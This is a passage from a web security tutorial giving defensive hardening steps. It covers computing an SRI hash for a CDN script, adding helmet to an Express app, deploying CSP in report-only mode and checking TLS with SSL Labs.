# 3. Compute the SRI hash for a CDN file
curl -s https://cdn.example.com/lib.js | \
  openssl dgst -sha384 -binary | \
  openssl base64 -A

# 4. Enable helmet in an Express app
npm install helmet
# Add: app.use(helmet());
# Test again with curl -I; the headers appear automatically

# 5. Deploy CSP in report-only mode
# Enable the Content-Security-Policy-Report-Only header
# The /csp-violations endpoint logs every violation
# Monitor for 1 week, fix the real violations, then enforce

# 6. Hardened TLS check
# Test with SSL Labs:
open "https://www.ssllabs.com/ssltest/analyze.html?d=yoursite.com"
# Target A+: TLS 1.2/1.3 only, strong ciphers, HSTS preload-ready

References


Next lesson →